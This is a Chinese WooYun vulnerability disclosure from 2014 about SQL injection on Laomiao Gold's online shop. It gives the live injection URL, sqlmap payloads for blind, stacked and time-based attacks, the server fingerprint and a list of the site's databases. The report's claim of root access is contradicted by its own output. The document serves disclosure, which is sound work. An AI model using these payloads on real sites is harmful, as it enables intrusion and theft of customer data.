漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-064810
漏洞标题:老庙黄金在线商城SQL注入
相关厂商:上海老庙黄金有限公司
漏洞作者: Tank
提交时间:2014-06-13 21:50
修复时间:2014-07-28 21:52
公开时间:2014-07-28 21:52
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-06-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-07-28: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
老庙黄金存在SQL注入,root权限,泄露会员资料
详细说明:
sql注入漏洞,权限较大,可脱裤
漏洞证明:
注入点:
http://www.laomiao.com.cn/cn/product/index.aspx?type=ssjs&subtype=ssjs1
Place: GET
Parameter: type
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=ssjs' AND 1055=1055 AND 'UYyp'='UYyp&subtype=ssjs1
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: type=ssjs'; WAITFOR DELAY '0:0:5'--&subtype=ssjs1
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: type=ssjs' WAITFOR DELAY '0:0:5'--&subtype=ssjs1
Place: GET
Parameter: subtype
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=ssjs&subtype=ssjs1' AND 8219=8219 AND 'NBhP'='NBhP
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: type
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=ssjs' AND 1055=1055 AND 'UYyp'='UYyp&subtype=ssjs1
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: type=ssjs'; WAITFOR DELAY '0:0:5'--&subtype=ssjs1
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: type=ssjs' WAITFOR DELAY '0:0:5'--&subtype=ssjs1
Place: GET
Parameter: subtype
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=ssjs&subtype=ssjs1' AND 8219=8219 AND 'NBhP'='NBhP
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
current user is DBA: False
available databases [25]:
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] ticket
[*] TicketChengHuangMiao
[*] yayidata
[*] yuyuancyjt
[*] yuyuandzsw
[*] yuyuandzswbbs
[*] yuyuanfdc
[*] yuyuanfirstasiajxs
[*] yuyuanhbl
[*] yuyuanhuijinglou
[*] yuyuanhun100
[*] yuyuanjck
[*] yuyuanlmhj
[*] yuyuanlmsp
[*] yuyuantm
[*] yuyuanwy
[*] yuyuanxsp
[*] yuyuanyayi
[*] yuyuanyayi2012
修复方案:
过滤危险字符
版权声明:转载请注明来源 Tank@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝